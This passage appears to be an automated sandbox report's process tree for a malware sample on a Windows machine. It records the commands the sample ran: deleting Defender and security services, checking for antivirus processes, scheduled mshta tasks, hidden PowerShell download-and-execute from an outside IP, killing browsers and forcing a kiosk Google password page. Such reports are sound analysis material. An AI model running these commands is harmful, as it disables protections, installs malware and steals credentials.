        
        sc stop "wscsvc"
        11⤵
        Launches sc.exe
        
        PID:880
        
        C:\Windows\system32\sc.exe
        
        sc delete "wscsvc"
        11⤵
        Launches sc.exe
        
        PID:964
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f
        11⤵
        
        PID:1656
        
        C:\Windows\system32\sc.exe
        
        sc stop "SgrmBroker"
        11⤵
        Launches sc.exe
        
        PID:2436
        
        C:\Windows\system32\sc.exe
        
        sc delete "SgrmBroker"
        11⤵
        Launches sc.exe
        
        PID:1560
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f
        11⤵
        
        PID:1996
        
        C:\Windows\system32\sc.exe
        
        sc stop "SecurityHealthService"
        11⤵
        Launches sc.exe
        
        PID:1700
        
        C:\Windows\system32\sc.exe
        
        sc delete "SecurityHealthService"
        11⤵
        Launches sc.exe
        
        PID:2000
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f
        11⤵
        
        PID:760
        
        C:\Windows\system32\sc.exe
        
        sc stop "webthreatdefsvc"
        11⤵
        Launches sc.exe
        
        PID:348
        
        C:\Windows\system32\sc.exe
        
        sc delete "webthreatdefsvc"
        11⤵
        Launches sc.exe
        
        PID:3068
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f
        11⤵
        
        PID:2288
        
        C:\Windows\system32\sc.exe
        
        sc stop "webthreatdefusersvc"
        11⤵
        Launches sc.exe
        
        PID:2996
        
        C:\Windows\system32\sc.exe
        
        sc delete "webthreatdefusersvc"
        11⤵
        Launches sc.exe
        
        PID:2020
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f
        11⤵
        
        PID:2332
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdNisDrv"
        11⤵
        Launches sc.exe
        
        PID:2160
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdNisDrv"
        11⤵
        Launches sc.exe
        
        PID:2012
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdNisDrv" /f
        11⤵
        
        PID:1708
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdBoot"
        11⤵
        Launches sc.exe
        
        PID:2272
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdBoot"
        11⤵
        Launches sc.exe
        
        PID:764
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdBoot" /f
        11⤵
        
        PID:2732
        
        C:\Windows\system32\sc.exe
        
        sc stop "WdFilter"
        11⤵
        Launches sc.exe
        
        PID:2772
        
        C:\Windows\system32\sc.exe
        
        sc delete "WdFilter"
        11⤵
        Launches sc.exe
        
        PID:796
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\WdFilter" /f
        11⤵
        
        PID:848
        
        C:\Windows\system32\sc.exe
        
        sc stop "SgrmAgent"
        11⤵
        Launches sc.exe
        
        PID:356
        
        C:\Windows\system32\sc.exe
        
        sc delete "SgrmAgent"
        11⤵
        Launches sc.exe
        
        PID:2168
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\SgrmAgent" /f
        11⤵
        
        PID:484
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecWfp"
        11⤵
        Launches sc.exe
        
        PID:1660
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecWfp"
        11⤵
        Launches sc.exe
        
        PID:1944
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecWfp" /f
        11⤵
        
        PID:2736
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecFlt"
        11⤵
        Launches sc.exe
        
        PID:876
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecFlt"
        11⤵
        Launches sc.exe
        
        PID:2816
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecFlt" /f
        11⤵
        
        PID:2588
        
        C:\Windows\system32\sc.exe
        
        sc stop "MsSecCore"
        11⤵
        Launches sc.exe
        
        PID:2648
        
        C:\Windows\system32\sc.exe
        
        sc delete "MsSecCore"
        11⤵
        Launches sc.exe
        
        PID:2624
        
        C:\Windows\system32\reg.exe
        
        reg delete "HKLM\System\CurrentControlset\Services\MsSecCore" /f
        11⤵
        
        PID:2856
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /f
        11⤵
        
        PID:2840
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /f
        11⤵
        
        PID:2860
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /f
        11⤵
        
        PID:2824
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /Delete /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /f
        11⤵
        
        PID:2596
        
        C:\Windows\system32\sc.exe
        
        sc stop ddrver
        11⤵
        Launches sc.exe
        
        PID:2600
        
        C:\Windows\system32\sc.exe
        
        sc delete ddrver
        11⤵
        Launches sc.exe
        
        PID:2744
      - C:\Users\Admin\AppData\Local\Temp\10368090101\hYjiwV0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10368090101\hYjiwV0.exe"
        6⤵
        Executes dropped EXE
        
        PID:2740
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2740 -s 44
        7⤵
        Loads dropped DLL
        
        PID:2316
      - C:\Users\Admin\AppData\Local\Temp\10368160101\amnew.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10368160101\amnew.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        
        PID:2036
        
        C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
        
        "C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe"
        7⤵
        Downloads MZ/PE file
        Executes dropped EXE
        Loads dropped DLL
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        Modifies system certificate store
        
        PID:2724
        
        C:\Users\Admin\AppData\Local\Temp\10001960101\gron12321.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10001960101\gron12321.exe"
        8⤵
        Executes dropped EXE
        
        PID:2000
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2000 -s 36
        9⤵
        Loads dropped DLL
        
        PID:2704
        
        C:\Users\Admin\AppData\Local\Temp\10026630101\v7942.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10026630101\v7942.exe"
        8⤵
        Executes dropped EXE
        
        PID:2128
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2128 -s 44
        9⤵
        Loads dropped DLL
        
        PID:2496
        
        C:\Users\Admin\AppData\Local\Temp\10028410101\alex1dskfmdsf.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10028410101\alex1dskfmdsf.exe"
        8⤵
        Executes dropped EXE
        
        PID:1940
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 1940 -s 36
        9⤵
        Loads dropped DLL
        
        PID:2676
        
        C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe"
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:3060
        
        C:\Users\Admin\AppData\Local\Temp\is-6VTA1.tmp\Bell_Setup16.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-6VTA1.tmp\Bell_Setup16.tmp" /SL5="$50206,1695194,421888,C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe"
        9⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:3064
        
        C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe" /VERYSILENT
        10⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:1720
        
        C:\Users\Admin\AppData\Local\Temp\is-AG03R.tmp\Bell_Setup16.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-AG03R.tmp\Bell_Setup16.tmp" /SL5="$60206,1695194,421888,C:\Users\Admin\AppData\Local\Temp\10041600101\Bell_Setup16.exe" /VERYSILENT
        11⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        
        PID:2456
        
        C:\Windows\SysWOW64\regsvr32.exe
        
        "regsvr32.exe" /s /i:INSTALL "C:\Users\Admin\AppData\Roaming\\1wlanapi.ocx"
        12⤵
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        
        PID:2816
        
        C:\Users\Admin\AppData\Local\Temp\10042990101\bot.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10042990101\bot.exe"
        8⤵
        Executes dropped EXE
        
        PID:848
        
        C:\Users\Admin\AppData\Local\Temp\10043020101\jokererer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10043020101\jokererer.exe"
        8⤵
        Executes dropped EXE
        
        PID:2632
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2632 -s 28
        9⤵
        
        PID:2180
        
        C:\Users\Admin\AppData\Local\Temp\10043950101\133e8807ac.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10043950101\133e8807ac.exe"
        8⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2916
        
        C:\Users\Admin\AppData\Local\Temp\svchost015.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10043950101\133e8807ac.exe"
        9⤵
        Downloads MZ/PE file
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:3020
        
        C:\Users\Admin\AppData\Local\Temp\10043960101\6670879e0c.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10043960101\6670879e0c.exe"
        8⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1592
        
        C:\Users\Admin\AppData\Local\Temp\svchost015.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10043960101\6670879e0c.exe"
        9⤵
        Downloads MZ/PE file
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2064
      - C:\Users\Admin\AppData\Local\Temp\10369100101\a15cbf8e3b.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10369100101\a15cbf8e3b.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Loads dropped DLL
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1972
        
        C:\Users\Admin\AppData\Local\Temp\svchost015.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10369100101\a15cbf8e3b.exe"
        7⤵
        Downloads MZ/PE file
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2616
      - C:\Users\Admin\AppData\Local\Temp\10369110101\Rm3cVPI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10369110101\Rm3cVPI.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1728
      - C:\Users\Admin\AppData\Local\Temp\10369120101\70cff591f9.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10369120101\70cff591f9.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:1388
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1388 -s 384
        7⤵
        Program crash
        
        PID:1484
      - C:\Users\Admin\AppData\Local\Temp\10369130101\TbV75ZR.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10369130101\TbV75ZR.exe"
        6⤵
        Executes dropped EXE
        
        PID:1028
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 1028 -s 44
        7⤵
        Loads dropped DLL
        
        PID:1560
      - C:\Users\Admin\AppData\Local\Temp\10369140101\hYjiwV0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10369140101\hYjiwV0.exe"
        6⤵
        Executes dropped EXE
        
        PID:684
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 684 -s 44
        7⤵
        Loads dropped DLL
        
        PID:316
      - C:\Users\Admin\AppData\Local\Temp\10369150101\EPTwCQd.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10369150101\EPTwCQd.exe"
        6⤵
        Executes dropped EXE
        
        PID:2392
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2392 -s 28
        7⤵
        
        PID:2316
      - C:\Users\Admin\AppData\Local\Temp\10369160101\7IIl2eE.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10369160101\7IIl2eE.exe"
        6⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:1252
        
        C:\Windows\SysWOW64\CMD.exe
        
        "C:\Windows\system32\CMD.exe" /c copy Expectations.cab Expectations.cab.bat & Expectations.cab.bat
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1896
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:924
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "opssvc wrsa"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:2768
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:1484
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:2432
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 418377
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:1588
        
        C:\Windows\SysWOW64\extrac32.exe
        
        extrac32 /Y /E Leon.cab
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:2712
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "BEVERAGES" Compilation
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:2424
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b 418377\Passwords.com + Playing + New + Realized + Uw + Jpeg + Badly + Asbestos + Seeds + Service + Basis + Via 418377\Passwords.com
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:288
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Pendant.cab + ..\Visitor.cab + ..\Illegal.cab + ..\Suddenly.cab + ..\Theology.cab + ..\Kidney.cab + ..\Flying.cab + ..\Tigers.cab N
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:2500
        
        C:\Users\Admin\AppData\Local\Temp\418377\Passwords.com
        
        Passwords.com N
        8⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:1708
        
        C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:1596
      - C:\Users\Admin\AppData\Local\Temp\10369170101\u75a1_003.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10369170101\u75a1_003.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2000
      - C:\Users\Admin\AppData\Local\Temp\10369180101\07f8d95d4d.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10369180101\07f8d95d4d.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:2680
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn X7nABmaw0T3 /tr "mshta C:\Users\Admin\AppData\Local\Temp\tdGx5fU4S.hta" /sc minute /mo 25 /ru "Admin" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2540
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn X7nABmaw0T3 /tr "mshta C:\Users\Admin\AppData\Local\Temp\tdGx5fU4S.hta" /sc minute /mo 25 /ru "Admin" /f
        8⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:1388
        
        C:\Windows\SysWOW64\mshta.exe
        
        mshta C:\Users\Admin\AppData\Local\Temp\tdGx5fU4S.hta
        7⤵
        System Location Discovery: System Language Discovery
        Modifies Internet Explorer settings
        
        PID:992
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'IVUBD6YRYU8VPJ2XTX6YBM5HWIITTJON.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        8⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3028
        
        C:\Users\Admin\AppData\Local\TempIVUBD6YRYU8VPJ2XTX6YBM5HWIITTJON.EXE
        
        "C:\Users\Admin\AppData\Local\TempIVUBD6YRYU8VPJ2XTX6YBM5HWIITTJON.EXE"
        9⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        
        PID:2196
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd /c ""C:\Users\Admin\AppData\Local\Temp\10369190121\am_no.cmd" "
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2312
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 2
        7⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:2612
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2320
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:848
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:884
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1084
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2128
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2628
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "uwlXImaFSJ3" /tr "mshta \"C:\Temp\Rah0wvjTl.hta\"" /sc minute /mo 25 /ru "Admin" /f
        7⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2608
        
        C:\Windows\SysWOW64\mshta.exe
        
        mshta "C:\Temp\Rah0wvjTl.hta"
        7⤵
        System Location Discovery: System Language Discovery
        Modifies Internet Explorer settings
        
        PID:2272
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        8⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Downloads MZ/PE file
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2460
        
        C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
        9⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious behavior: EnumeratesProcesses
        
        PID:572
      - C:\Users\Admin\AppData\Local\Temp\10369200101\37697ed437.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10369200101\37697ed437.exe"
        6⤵
        Executes dropped EXE
        
        PID:2212
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2212 -s 64
        7⤵
        
        PID:2540
      - C:\Users\Admin\AppData\Local\Temp\10369210101\b4d5361804.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10369210101\b4d5361804.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2856
      - C:\Users\Admin\AppData\Local\Temp\10369220101\52a22fd820.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10369220101\52a22fd820.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2060
      - C:\Users\Admin\AppData\Local\Temp\10369230101\f96f54807c.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10369230101\f96f54807c.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:572
      - C:\Users\Admin\AppData\Local\Temp\10369240101\c79f7c44bc.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10369240101\c79f7c44bc.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:1632
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM firefox.exe /T
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:3056
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM chrome.exe /T
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2600
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM msedge.exe /T
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:796
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM opera.exe /T
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2164
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F /IM brave.exe /T
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1772
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
        7⤵
        
        PID:2844
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
        8⤵
        Checks processor information in registry
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:1948
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1948.0.2136436349\2073076692" -parentBuildID 20221007134813 -prefsHandle 1216 -prefMapHandle 1208 -prefsLen 20847 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {80564291-8084-4390-b9dd-55a2c0334db6} 1948 "\\.\pipe\gecko-crash-server-pipe.1948" 1280 113d6158 gpu
        9⤵
        
        PID:924
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1948.1.385535437\282643199" -parentBuildID 20221007134813 -prefsHandle 1488 -prefMapHandle 1484 -prefsLen 21708 -prefMapSize 233444 -appDir "C:\Program Files\Mozilla Firefox\browser" - {32885dff-4199-4b17-8cba-cd971ff133cc} 1948 "\\.\pipe\gecko-crash-server-pipe.1948" 1500 e72458 socket
        9⤵
        
        PID:1532
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1948.2.1371481243\248028588" -childID 1 -isForBrowser -prefsHandle 2100 -prefMapHandle 2096 -prefsLen 21811 -prefMapSize 233444 -jsInitHandle 804 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {12e7e5cb-ea31-4b44-bf4b-a03055be173b} 1948 "\\.\pipe\gecko-crash-server-pipe.1948" 2112 1aada658 tab
        9⤵
        
        PID:1368
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1948.3.442166482\207596816" -childID 2 -isForBrowser -prefsHandle 2792 -prefMapHandle 2788 -prefsLen 26216 -prefMapSize 233444 -jsInitHandle 804 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {2a9b9efc-4f98-4d8a-8813-af4b1615e6e4} 1948 "\\.\pipe\gecko-crash-server-pipe.1948" 2804 1c161958 tab
        9⤵
        
        PID:2864
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="1948.4.1317428029\702288370" -childID 3 -isForBrowser -prefsHandle 3700 -prefMapHandle 3692 -prefsLen 26351 -prefMapSize 233444 -jsInitHandle 804 -jsInitLen 246848 -a11yResourceId 64 -parentBuildID 20221007134813 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5a3d520d-9094-4556-aa6d-4c2798dbbd61} 1948 "\\.\pipe\gecko-crash-server-pipe.1948" 3708 e70b58 tab
        9⤵
        
        PID:2000
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
